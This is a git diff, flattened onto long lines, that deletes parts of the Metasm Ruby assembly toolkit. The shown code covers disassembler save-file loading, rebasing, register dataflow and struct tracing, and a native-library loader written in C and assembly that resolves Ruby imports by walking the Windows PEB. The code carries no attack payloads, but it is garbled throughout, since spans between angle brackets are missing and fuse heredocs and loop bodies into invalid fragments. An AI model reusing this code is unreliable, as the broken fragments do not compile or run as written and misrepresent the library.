|| data.length] - data = data[info.length, data.length] - pp.feed!(info) - addr = Expression.parse(pp).reduce - len = Expression.parse(pp).reduce - edata = EncodedData.new(data.unpack('m*').first, :virtsize => len) - add_section(addr, edata) - when 'map' - load_map data - when 'decoded' - data.each_line { |l| - begin - next if l !~ /^([^,]*),(\d*) ([^;]*)(?:; (.*))?/ - a, len, instr, cmt = $1, $2, $3, $4 - a = Expression.parse(pp.feed!(a)).reduce - instr = @cpu.parse_instruction(app.feed!(instr)) - di = DecodedInstruction.new(instr, a) - di.bin_length = len.to_i - di.add_comment cmt if cmt - @decoded[a] = di - rescue - puts "load: bad di #{l.inspect}" if $VERBOSE - end - } - when 'blocks' - data.each_line { |l| - bla = l.chomp.split(';').map { |sl| sl.split(',') } - begin - a = Expression.parse(pp.feed!(bla.shift[0])).reduce - b = InstructionBlock.new(a, get_section_at(a).to_a[0]) - bla.shift.each { |e| - a = Expression.parse(pp.feed!(e)).reduce - b.add_di(@decoded[a]) - } - bla.zip([:to_normal, :to_subfuncret, :to_indirect, :from_normal, :from_subfuncret, :from_indirect]).each { |l_, s| - b.send("#{s}=", l_.map { |e| Expression.parse(pp.feed!(e)).reduce }) if not l_.empty? - } - rescue - puts "load: bad block #{l.inspect}" if $VERBOSE - end - } - when 'funcs' - data.each_line { |l| - begin - a, *r = l.split(',').map { |e| Expression.parse(pp.feed!(e)).reduce } - @function[a] = DecodedFunction.new - @function[a].return_address = r if not r.empty? - @function[a].finalized = true - # TODO - rescue - puts "load: bad function #{l.inspect} #$!" if $VERBOSE - end - } - when 'comment' - data.each_line { |l| - begin - a, c = l.split(' ', 2) - a = Expression.parse(pp.feed!(a)).reduce - @comment[a] ||= [] - @comment[a] |= [c] - rescue - puts "load: bad comment #{l.inspect} #$!" if $VERBOSE - end - } - when 'c' - begin - # TODO parse_invalid_c, split per function, whatever - parse_c('') - @c_parser.allow_bad_c = true - parse_c(data, 'savefile#c') - rescue - puts "load: bad C: #$!", $!.backtrace if $VERBOSE - end - @c_parser.readtok until @c_parser.eos? if @c_parser - when 'xrefs' - data.each_line { |l| - begin - a, t, len, o = l.chomp.split(',') - case a - when ':default'; a = :default - when ':unknown'; a = Expression::Unknown - else a = Expression.parse(pp.feed!(a)).reduce - end - t = (t.empty? ? nil : t.to_sym) - len = (len != '' ? len.to_i : nil) - o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? - add_xref(a, Xref.new(t, o, len)) - rescue - puts "load: bad xref #{l.inspect} #$!" if $VERBOSE - end - } - #when 'trace' - else - if block_given? - yield(type, data) - else - puts "load: unsupported section #{type.inspect}" if $VERBOSE - end - end - end - end - - # change the base address of the loaded binary - # better done early (before disassembling anything) - # returns the delta - def rebase(newaddr) - rebase_delta(newaddr - @sections.keys.min) - end - - def rebase_delta(delta) - fix = lambda { |a| - case a - when Array - a.map! { |e| fix[e] } - when Hash - tmp = {} - a.each { |k, v| tmp[fix[k]] = v } - a.replace tmp - when Integer - a += delta - when BacktraceTrace - a.origin = fix[a.origin] - a.address = fix[a.address] - end - a - } - - fix[@sections] - fix[@decoded] - fix[@xrefs] - fix[@function] - fix[@addrs_todo] - fix[@addrs_done] - fix[@comment] - @prog_binding.each_key { |k| @prog_binding[k] = fix[@prog_binding[k]] } - @old_prog_binding.each_key { |k| @old_prog_binding[k] = fix[@old_prog_binding[k]] } - @label_alias_cache = nil - - @decoded.values.grep(DecodedInstruction).each { |di| - if di.block_head? - b = di.block - b.address += delta - fix[b.to_normal] - fix[b.to_subfuncret] - fix[b.to_indirect] - fix[b.from_normal] - fix[b.from_subfuncret] - fix[b.from_indirect] - fix[b.backtracked_for] - end - di.address = fix[di.address] - di.next_addr = fix[di.next_addr] - } - @function.each_value { |f| - f.return_address = fix[f.return_address] - fix[f.backtracked_for] - } - @xrefs.values.flatten.compact.each { |x| x.origin = fix[x.origin] } - delta - end - - # dataflow method - # walks a function, starting at addr - # follows the usage of registers, computing the evolution from the value they had at start_addr - # whenever an instruction references the register (or anything derived from it), - # yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of - # the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value - # not yet applied) - # reg_value may be nil if used_register is not modified by the function (eg call [eax]) - # the yield return value is propagated, unless it is nil/false - # init_state is a hash { :reg => initial value } - def trace_function_register(start_addr, init_state) - function_walk(start_addr, init_state) { |args| - trace_state = args.last - case args.first - when :di - di = args[2] - update = {} - get_fwdemu_binding(di).each { |r, v| - if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] } - # XXX may mix old (from trace) and current (from v) registers - newv = v.bind(trace_state) - update[r] = yield(di, r, newv, trace_state) - elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] } - # reg dereferenced in a write (eg mov [esp], 42) - next if update.has_key?(rr) # already yielded - if yield(di, rr, trace_state[rr], trace_state) == false - update[rr] = false - end - elsif trace_state[r] - # started on mov reg, foo - next if di.address == start_addr - update[r] = false - end - } - - # directly walk the instruction argument list for registers not appearing in the binding - @cpu.instr_args_memoryptr(di).each { |ind| - b = @cpu.instr_args_memoryptr_getbase(ind) - if b and b = b.symbolic and not update.has_key?(b) - yield(di, b, nil, trace_state) - end - } - @cpu.instr_args_regs(di).each { |r| - r = r.symbolic - if not update.has_key?(r) - yield(di, r, nil, trace_state) - end - } - - update.each { |r, v| - trace_state = trace_state.dup - if v - # cannot follow non-registers, or we would have to emulate every single - # instruction (try following [esp+4] across a __stdcall..) - trace_state[r] = v if r.kind_of?(::Symbol) - else - trace_state.delete r - end - } - when :subfunc - faddr = args[1] - f = @function[faddr] - f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk] - if f - binding = f.backtrace_binding - if binding.empty? - backtrace_update_function_binding(faddr) - binding = f.backtrace_binding - end - # XXX fwdemu_binding ? - binding.each { |r, v| - if v.externals.find { |e| trace_state[e] } - if r.kind_of?(::Symbol) - trace_state = trace_state.dup - trace_state[r] = Expression[v.bind(trace_state)].reduce - end - elsif trace_state[r] - trace_state = trace_state.dup - trace_state.delete r - end - } - end - when :merge - # when merging paths, keep the smallest common state subset - # XXX may have unexplored froms - conflicts = args[2] - trace_state = trace_state.dup - conflicts.each { |addr, st| - trace_state.delete_if { |k, v| st[k] != v } - } - end - trace_state = false if trace_state.empty? - trace_state - } - end - - # define a register as a pointer to a structure - # rename all [reg+off] as [reg+struct.member] in current function - # also trace assignments of pointer members - def trace_update_reg_structptr(addr, reg, structname, structoff=0) - sname = soff = ctx = nil - expr_to_sname = lambda { |expr| - if not expr.kind_of?(Expression) or expr.op != :+ - sname = nil - next - end - - sname = expr.lexpr || expr.rexpr - soff = (expr.lexpr ? expr.rexpr : 0) - - if soff.kind_of?(Expression) - # ignore index in ptr array - if soff.op == :* and soff.lexpr == @cpu.size/8 - soff = 0 - elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8 - soff = soff.lexpr - elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8 - soff = soff.rexpr - end - elsif soff.kind_of?(::Symbol) - # array with 1 byte elements / pre-scaled idx? - if not ctx[soff] - soff = 0 - end - end - } - - lastdi = nil - trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace| - - next if r.to_s =~ /flag/ # XXX maybe too ia32-specific? - - ctx = trace - @cpu.instr_args_memoryptr(di).each { |ind| - # find the structure dereference in di - b = @cpu.instr_args_memoryptr_getbase(ind) - b = b.symbolic if b - next unless trace[b] - imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0 - - # check expr has the form 'traced_struct_reg + off' - expr_to_sname[trace[b] + imm] # Expr#+ calls Expr#reduce - next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) - next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union) - - # ignore lea esi, [esi+0] - next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 } - - # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly - - # resolve struct + off into struct.membername - str = st.name.dup - mb = st.expand_member_offset(c_parser, soff, str) - # patch di - imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString) - imm = imm.expr if imm.kind_of?(ExpressionString) - @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff)) - - # check if the type is an enum/bitfield, patch instruction immediates - trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb - } if lastdi != di.address - lastdi = di.address - - next Expression[structname, :+, structoff] if di.address == addr and r == reg - - # check if we need to trace 'r' further - val = val.reduce_rec if val.kind_of?(Expression) - val = Expression[val] if val.kind_of?(::String) - case val - when Expression - # only trace trivial structptr+off expressions - expr_to_sname[val] - if sname.kind_of?(::String) and soff.kind_of?(::Integer) - Expression[sname, :+, soff] - end - - when Indirection - # di is mov reg, [ptr+struct.offset] - # check if the target member is a pointer to a struct, if so, trace it - expr_to_sname[val.pointer.reduce] - - next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) - - if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union) - pt = st.expand_member_offset(c_parser, soff, '') - pt = pt.untypedef if pt - if pt.kind_of?(C::Pointer) - tt = pt.type.untypedef - stars = '' - while tt.kind_of?(C::Pointer) - stars << '*' - tt = tt.type.untypedef - end - if tt.kind_of?(C::Union) and tt.name - Expression[tt.name + stars] - end - end - - elsif soff == 0 and sname[-1] == ?* - # XXX pointer to pointer to struct - # full C type support would be better, but harder to fit in an Expr - Expression[sname[0...-1]] - end - # in other cases, stop trace - end - } - end - - # found a special member of a struct, check if we can apply - # bitfield/enum name to other constants in the di - def trace_update_reg_structptr_arg_enum(di, ind, mb, str) - if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum) - # handle enums: struct moo { int __attribute__((enum(bla))) fld; }; - doit = lambda { |_di| - if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) - # handle enum values on tagged structs - if enum.members and name = enum.members.index(num_i) - num.lexpr = nil - num.op = :+ - num.rexpr = ExpressionString.new(Expression[num_i], name, :enum) - _di.add_comment "enum::#{ename}" if _di.address != di.address - end - end - } - - doit[di] - - # mov eax, [ptr+struct.enumfield] => trace eax - if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } - reg = reg.symbolic - trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| - next if r != reg and val != Expression[reg] - doit[_di] - val - } - end - - elsif mb.untypedef.kind_of?(C::Struct) - # handle bitfields - - byte_off = 0 - if str =~ /\+(\d+)$/ - # test byte [bitfield+1], 0x1 => test dword [bitfield], 0x100 - # XXX little-endian only - byte_off = $1.to_i - str[/\+\d+$/] = '' - end - cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1 - - doit = lambda { |_di, add| - if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) - # TODO handle ~num_i - num_left = num_i << add - s_or = [] - mb.untypedef.members.each { |mm| - if bo = mb.bitoffsetof(c_parser, mm) - boff, blen = bo - if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0 - s_or << mm.name - num_left &= ~(1 << boff) - end - end - } - if s_or.first - if num_left != 0 - s_or << ('0x%X' % num_left) - end - s = s_or.join('|') - num.lexpr = nil - num.op = :+ - num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield) - _di.add_comment cmt if _di.address != di.address - end - end - } - - doit[di, byte_off*8] - - if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } - reg = reg.symbolic - trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| - if r.kind_of?(Expression) and r.op == :& - if r.lexpr == reg - # test al, 42 - doit[_di, byte_off*8] - elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg - # test ah, 42 - doit[_di, byte_off*8+r.lexpr.rexpr] - end - end - next if r != reg and val != Expression[reg] - doit[_di, byte_off*8] - _di.address == di.address && r == reg ? Expression[0] : val - } - end - end - end - - # change Expression display mode for current object o to display integers as char constants - def toggle_expr_char(o) - return if not o.kind_of?(Renderable) - tochars = lambda { |v| - if v.kind_of?(::Integer) - a = [] - vv = v.abs - a << (vv & 0xff) - vv >>= 8 - while vv > 0 - a << (vv & 0xff) - vv >>= 8 - end - if a.all? { |b| b < 0x7f } - s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] - ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char) - end - end - } - o.each_expr { |e| - if e.kind_of?(Expression) - if nr = tochars[e.rexpr] - e.rexpr = nr - elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char - e.rexpr = e.rexpr.expr - end - if nl = tochars[e.lexpr] - e.lexpr = nl - elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char - e.lexpr = e.lexpr.expr - end - end - } - end - - def toggle_expr_dec(o) - return if not o.kind_of?(Renderable) - o.each_expr { |e| - if e.kind_of?(Expression) - if e.rexpr.kind_of?(::Integer) - e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal) - elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal - e.rexpr = e.rexpr.reduce - end - if e.lexpr.kind_of?(::Integer) - e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal) - elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal - e.lexpr = e.lexpr.reduce - end - end - } - end - - # patch Expressions in current object to include label names when available - # XXX should we also create labels ? - def toggle_expr_offset(o) - return if not o.kind_of? Renderable - o.each_expr { |e| - next unless e.kind_of?(Expression) - if n = @prog_binding[e.lexpr] - e.lexpr = n - elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) - add_xref(normalize(e.lexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.lexpr = n - end - if n = @prog_binding[e.rexpr] - e.rexpr = n - elsif e.rexpr.kind_of? ::Integer and n = get_label_at(e.rexpr) - add_xref(normalize(e.rexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.rexpr = n - end - } - end - - # toggle all ExpressionStrings - def toggle_expr_str(o) - return if not o.kind_of?(Renderable) - o.each_expr { |e| - next unless e.kind_of?(ExpressionString) - e.hide_str = !e.hide_str - } - end - - # call this function on a function entrypoint if the function is in fact a __noreturn - # will cut the to_subfuncret of callers - def fix_noreturn(o) - each_xref(o, :x) { |a| - a = normalize(a.origin) - next if not di = di_at(a) or not di.opcode.props[:saveip] - # XXX should check if caller also becomes __noreturn - di.block.each_to_subfuncret { |to| - next if not tdi = di_at(to) or not tdi.block.from_subfuncret - tdi.block.from_subfuncret.delete_if { |aa| normalize(aa) == di.address } - tdi.block.from_subfuncret = nil if tdi.block.from_subfuncret.empty? - } - di.block.to_subfuncret = nil - } - end - - # find the addresses of calls calling the address, handles thunks - def call_sites(funcaddr) - find_call_site = proc { |a| - until not di = di_at(a) - if di.opcode.props[:saveip] - cs = di.address - break - end - if di.block.from_subfuncret.to_a.first - while di.block.from_subfuncret.to_a.length == 1 - a = di.block.from_subfuncret[0] - break if not di_at(a) - a = @decoded[a].block.list.first.address - di = @decoded[a] - end - end - break if di.block.from_subfuncret.to_a.first - break if di.block.from_normal.to_a.length != 1 - a = di.block.from_normal.first - end - cs - } - ret = [] - each_xref(normalize(funcaddr), :x) { |a| - ret << find_call_site[a.origin] - } - ret.compact.uniq - end - - # loads a disassembler plugin script - # this is simply a ruby script instance_eval() in the disassembler - # the filename argument is autocompleted with '.rb' suffix, and also - # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) - if File.exist?(plugin_filename+'.rb') - plugin_filename += '.rb' - elsif defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dasm-plugins', plugin_filename) - if File.exist? pf - plugin_filename = pf - elsif File.exist? pf + '.rb' - plugin_filename = pf + '.rb' - end - end - end - - instance_eval File.read(plugin_filename) - end - - # same as load_plugin, but hides the @gui attribute while loading, preventing the plugin do popup stuff - # this is useful when you want to load a plugin from another plugin to enhance the plugin's functionnality - # XXX this also prevents setting up kbd_callbacks etc.. - def load_plugin_nogui(plugin_filename) - oldgui = gui - @gui = nil - load_plugin(plugin_filename) - ensure - @gui = oldgui - end - - # compose two code/instruction's backtrace_binding - # assumes bd1 is followed by bd2 in the code flow - # eg inc edi + push edi => - # { Ind[:esp, 4] => Expr[:edi + 1], :esp => Expr[:esp - 4], :edi => Expr[:edi + 1] } - # XXX if bd1 writes to memory with a pointer that is reused in bd2, this function has to - # revert the change made by bd2, which only works with simple ptr addition now - # XXX unhandled situations may be resolved using :unknown, or by returning incorrect values - def compose_bt_binding(bd1, bd2) - if bd1.kind_of? DecodedInstruction - bd1 = bd1.backtrace_binding ||= cpu.get_backtrace_binding(bd1) - end - if bd2.kind_of? DecodedInstruction - bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) - end - - reduce = lambda { |e| Expression[Expression[e].reduce] } - - bd = {} - - bd2.each { |k, v| - bd[k] = reduce[v.bind(bd1)] - } - - # for each pointer appearing in keys of bd1, we must infer from bd2 what final - # pointers should appear in bd - # eg 'mov [eax], 0 mov ebx, eax' => { [eax] <- 0, [ebx] <- 0, ebx <- eax } - bd1.each { |k, v| - if k.kind_of? Indirection - done = false - k.pointer.externals.each { |e| - # XXX this will break on nontrivial pointers or bd2 - bd2.each { |k2, v2| - # we dont want to invert computation of flag_zero/carry etc (booh) - next if k2.to_s =~ /flag/ - - # discard indirection etc, result would be too complex / not useful - next if not Expression[v2].expr_externals.include? e - - done = true - - # try to reverse the computation made upon 'e' - # only simple addition handled here - ptr = reduce[k.pointer.bind(e => Expression[[k2, :-, v2], :+, e])] - - # if bd2 does not rewrite e, duplicate the original pointer - if not bd2[e] - bd[k] ||= reduce[v] - - # here we should not see 'e' in ptr anymore - ptr = Expression::Unknown if ptr.externals.include? e - else - # cant check if add reversion was successful.. - end - - bd[Indirection[reduce[ptr], k.len]] ||= reduce[v] - } - } - bd[k] ||= reduce[v] if not done - else - bd[k] ||= reduce[v] - end - } - - bd - end - - def gui_hilight_word_regexp(word) - @cpu.gui_hilight_word_regexp(word) - end - - # return a C::AllocCStruct from c_parser - # TODO handle program.class::Header.to_c_struct - def decode_c_struct(structname, addr) - if c_parser and edata = get_edata_at(addr) - c_parser.decode_c_struct(structname, edata.data, edata.ptr) - end - end - - def decode_c_ary(structname, addr, len) - if c_parser and edata = get_edata_at(addr) - c_parser.decode_c_ary(structname, len, edata.data, edata.ptr) - end - end - - # find the function containing addr, and find & rename stack vars in it - def name_local_vars(addr) - if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr) - @function[faddr] ||= DecodedFunction.new # XXX - @cpu.name_local_vars(self, faddr) - end - end -end -end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb deleted file mode 100644 index 67ef531509..0000000000 --- a/lib/metasm/metasm/dynldr.rb +++ /dev/null @@ -1,1418 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This sample creates the dynldr.so ruby shared object that allows interaction with -# native libraries -# x86 only for now - -module Metasm -class DynLdr - # basic C defs for ruby internals - 1.8 and 1.9 compat - x86/x64 - RUBY_H = <= '1.9' ? 1 : 0} -#endif - -#if #{RUBY_VERSION >= '2.0' ? 1 : 0} -// flonums. WHY? -// also breaks Qtrue/Qnil -#define rb_float_new rb_float_new_in_heap -#endif - -#if DYNLDR_RUBY_19 - #define T_STRING 0x05 - #define T_ARRAY 0x07 - #define T_FIXNUM 0x15 - #define T_MASK 0x1f - #define RSTRING_NOEMBED (1<<13) - #define STR_PTR(o) ((RString(o)->flags & RSTRING_NOEMBED) ? RString(o)->ptr : (char*)&RString(o)->len) - #define STR_LEN(o) ((RString(o)->flags & RSTRING_NOEMBED) ? RString(o)->len : (RString(o)->flags >> 14) & 0x1f) - #define RARRAY_EMBED (1<<13) - #define ARY_PTR(o) ((RArray(o)->flags & RARRAY_EMBED) ? (VALUE*)&RArray(o)->len : RArray(o)->ptr) - #define ARY_LEN(o) ((RArray(o)->flags & RARRAY_EMBED) ? ((RArray(o)->flags >> 15) & 3) : RArray(o)->len) -#else - #define T_STRING 0x07 - #define T_ARRAY 0x09 - #define T_FIXNUM 0x0a - #define T_MASK 0x3f - #define STR_PTR(o) (RString(o)->ptr) - #define STR_LEN(o) (RString(o)->len) - #define ARY_PTR(o) (RArray(o)->ptr) - #define ARY_LEN(o) (RArray(o)->len) -#endif - -#define TYPE(x) (((VALUE)(x) & 1) ? T_FIXNUM : (((VALUE)(x) & 3) || ((VALUE)(x) < 7)) ? 0x40 : RString(x)->flags & T_MASK) - -VALUE rb_uint2inum(VALUE); -VALUE rb_ull2inum(unsigned long long); -VALUE rb_num2ulong(VALUE); -unsigned long long rb_num2ull(VALUE); -VALUE rb_str_new(const char* ptr, long len); // alloc + memcpy + 0term -VALUE rb_ary_new2(int len); -VALUE rb_float_new(double); - -VALUE rb_intern(char *); -VALUE rb_funcall(VALUE recv, VALUE id, int nargs, ...); -VALUE rb_const_get(VALUE, VALUE); -VALUE rb_raise(VALUE, char*, ...); -void rb_define_const(VALUE, char *, VALUE); -void rb_define_method(VALUE, char *, VALUE (*)(), int); -void rb_define_singleton_method(VALUE, char *, VALUE (*)(), int); - -EOS - - # generic C source for the native component, ruby glue - DYNLDR_C = < 64) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - unsigned i, argsz; - uintptr_t args_c[64]; - __int64 ret; - - argsz = ARY_LEN(args); - for (i=0U ; ilen = 10U; // len == 10, no need to ARY_LEN/EMBED stuff - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); - - // dynldr.callback will give us the arity (in bytes) of the callback in args[0] - // we just put the stack lifting offset in caller_id for the asm stub to use - caller_id = VAL2INT(ARY_PTR(args)[0]); - - return VAL2INT(ret); -} - -#elif defined __amd64__ - -uintptr_t do_invoke(uintptr_t, uintptr_t, uintptr_t*); -double fake_float(void); - -// invoke a symbol -// args is an array of Integers -// flags: 1 stdcall 2 fastcall 4 ret_64bits 8 ret_float -// TODO float args -static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) -{ - if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - int i, argsz; - uintptr_t args_c[16]; - uintptr_t ret; - uintptr_t (*ptr_f)(uintptr_t, ...) = (void*)ptr_v; - - argsz = (int)ARY_LEN(args); - for (i=0 ; ilen = 8; - ptr[0] = INT2VAL(arg0); - ptr[1] = INT2VAL(arg1); - ptr[2] = INT2VAL(arg2); - ptr[3] = INT2VAL(arg3); - ptr[4] = INT2VAL(arg4); - ptr[5] = INT2VAL(arg5); - ptr[6] = INT2VAL(arg6); - ptr[7] = INT2VAL(arg7); - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(cb_id), args); - - return VAL2INT(ret); -} -#endif - -int Init_dynldr(void) __attribute__((export_as(Init_))) // to patch before parsing to match the .so name -{ - dynldr = rb_const_get(rb_const_get(*rb_cObject, rb_intern("Metasm")), rb_intern("DynLdr")); - rb_define_singleton_method(dynldr, "memory_read", memory_read, 2); - rb_define_singleton_method(dynldr, "memory_read_int", memory_read_int, 1); - rb_define_singleton_method(dynldr, "memory_write", memory_write, 2); - rb_define_singleton_method(dynldr, "memory_write_int", memory_write_int, 2); - rb_define_singleton_method(dynldr, "str_ptr", str_ptr, 1); - rb_define_singleton_method(dynldr, "rb_obj_to_value", rb_obj_to_value, 1); - rb_define_singleton_method(dynldr, "rb_value_to_obj", rb_value_to_obj, 1); - rb_define_singleton_method(dynldr, "sym_addr", sym_addr, 2); - rb_define_singleton_method(dynldr, "raw_invoke", invoke, 3); - rb_define_const(dynldr, "CALLBACK_TARGET", -#ifdef __i386__ - INT2VAL((VALUE)&callback_handler)); -#elif defined __amd64__ - INT2VAL((VALUE)&do_callback_handler)); -#endif - rb_define_const(dynldr, "CALLBACK_ID_0", INT2VAL((VALUE)&callback_id_0)); - rb_define_const(dynldr, "CALLBACK_ID_1", INT2VAL((VALUE)&callback_id_1)); - return 0; -} -EOS - - # see the note in compile_bin_module - # this is a dynamic resolver for the ruby symbols we use - DYNLDR_C_PE_HACK = <ldr->inloadorder; - ptr = ((struct _lmodule *)base)->next; - ptr = ptr->next; // skip the first entry = ruby.exe - while (ptr != base) { - if (wstrcaseruby(ptr->basename, ptr->len/2)) - return ptr->base; - ptr = ptr->next; - } - - return 0; -} - -// find the ruby library from an address in the ruby module (Init_dynldr retaddr) -static uintptr_t find_ruby_module_mem(uintptr_t someaddr) -{ - // could __try{}, but with no imports we're useless anyway. - uintptr_t ptr = someaddr & (-0x10000); - while (*((unsigned __int16 *)ptr) != 'ZM') // XXX too weak? - ptr -= 0x10000; - return ptr; -} - -// a table of string offsets, base = the table itself -// each entry is a ruby function, whose address is to be put inplace in the table -// last entry == 0 -extern void *ruby_import_table; - -__stdcall uintptr_t GetProcAddress(uintptr_t, char *); -// resolve the ruby imports found by offset in ruby_import_table -int load_ruby_imports(uintptr_t rbaddr) -{ - uintptr_t ruby_module; - uintptr_t *ptr; - char *table; - - static int loaded_ruby_imports = 0; - if (loaded_ruby_imports) - return 0; - loaded_ruby_imports = 1; - - if (rbaddr) - ruby_module = find_ruby_module_mem(rbaddr); - else - ruby_module = find_ruby_module_peb(); - - if (!ruby_module) - return 0; - - ptr = &ruby_import_table; - table = (char*)ptr; - - while (*ptr) { - if (!(*ptr = GetProcAddress(ruby_module, table+*ptr))) - // TODO warning or something - return 0; - ptr++; - } - - return 1; -} - -#ifdef __x86_64__ -#define DLL_PROCESS_ATTACH 1 -int DllMain(void *handle, int reason, void *res) -{ - if (reason == DLL_PROCESS_ATTACH) - return load_ruby_imports(0); - return 1; -} -#endif -EOS - - # ia32 asm source for the native component: handles ABI stuff - DYNLDR_ASM_IA32 = < cb structure (inuse only) - - binmodule = find_bin_path - - if not File.exists?(binmodule) or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - compile_binary_module(host_exe, host_cpu, binmodule) - end - - require binmodule - - @@callback_addrs << CALLBACK_ID_0 << CALLBACK_ID_1 - end - - # compile the dynldr binary ruby module for a specific arch/cpu/modulename - def self.compile_binary_module(exe, cpu, modulename) - bin = exe.new(cpu) - # compile the C code, but patch the Init_ export name, which must match the string used in 'require' - module_c_src = DYNLDR_C.gsub('', File.basename(modulename, '.so')) - bin.compile_c module_c_src - # compile the Asm stuff according to the target architecture - bin.assemble case cpu.shortname - when 'ia32'; DYNLDR_ASM_IA32 - when 'x64'; DYNLDR_ASM_X86_64 - end - - # tweak the resulting binary linkage procedures if needed - compile_binary_module_hack(bin) - - # save the shared library - bin.encode_file(modulename, :lib) - end - - def self.compile_binary_module_hack(bin) - # this is a hack - # we need the module to use ruby symbols - # but we don't know the actual ruby lib filename (depends on ruby version, # platform, ...) - case bin.shortname - when 'elf' - # we know the lib is already loaded by the main ruby executable, no DT_NEEDED needed - class << bin - def automagic_symbols(*a) - # do the plt generation - super(*a) - # but remove the specific lib names - @tag.delete 'NEEDED' - end - end - return - when 'coff' - # the hard part, see below - else - # unhandled arch, dont tweak - return - end - - # we remove the PE IAT section related to ruby symbols, and make - # a manual symbol resolution on module loading. - - # populate the ruby import table ourselves on module loading - bin.imports.delete_if { |id| id.libname =~ /ruby/ } - - # we generate something like: - # .data - # ruby_import_table: - # rb_cObject dd str_rb_cObject - ruby_import_table - # riat_rb_intern dd str_rb_intern - ruby_import_table - # dd 0 - # - # .rodata - # str_rb_cObject db "rb_cObject", 0 - # str_rb_intern db "rb_intern", 0 - # - # .text - # rb_intern: jmp [riat_rb_intern] - # - # the PE_HACK code will parse ruby_import_table and make the symbol resolution on startup - - # setup the string table and the thunks - text = bin.sections.find { |s| s.name == '.text' }.encoded - rb_syms = text.reloc_externals.grep(/^rb_/) - - dd = (bin.cpu.size == 64 ? 'dq' : 'dd') - - init_symbol = text.export.keys.grep(/^Init_/).first - raise 'no Init_mname symbol found' if not init_symbol - if bin.cpu.size == 32 - # hax to find the base of libruby under Win98 (peb sux) - text.export[init_symbol + '_real'] = text.export.delete(init_symbol) - bin.unique_labels_cache.delete(init_symbol) - end - - # the C glue: getprocaddress etc - bin.compile_c DYNLDR_C_PE_HACK.gsub('Init_dynldr', init_symbol) - - # the IAT, initialized with relative offsets to symbol names - asm_table = ['.data', '.align 8', 'ruby_import_table:'] - # strings will be in .rodata - bin.parse('.rodata') - rb_syms.each { |sym| - # raw symbol name - str_label = bin.parse_new_label('str', "db #{sym.inspect}, 0") - - if sym !~ /^rb_[ce][A-Z]/ - # if we dont reference a data import (rb_cClass / rb_eException), - # then create a function thunk - i = PE::ImportDirectory::Import.new - i.thunk = sym - sym = i.target = 'riat_' + str_label - bin.arch_encode_thunk(text, i) # encode a jmp [importtable] - end - - # update the IAT - asm_table << "#{sym} #{dd} #{str_label} - ruby_import_table" - } - # IAT null-terminated - asm_table << "#{dd} 0" - - # now parse & assemble the IAT in .data - bin.assemble 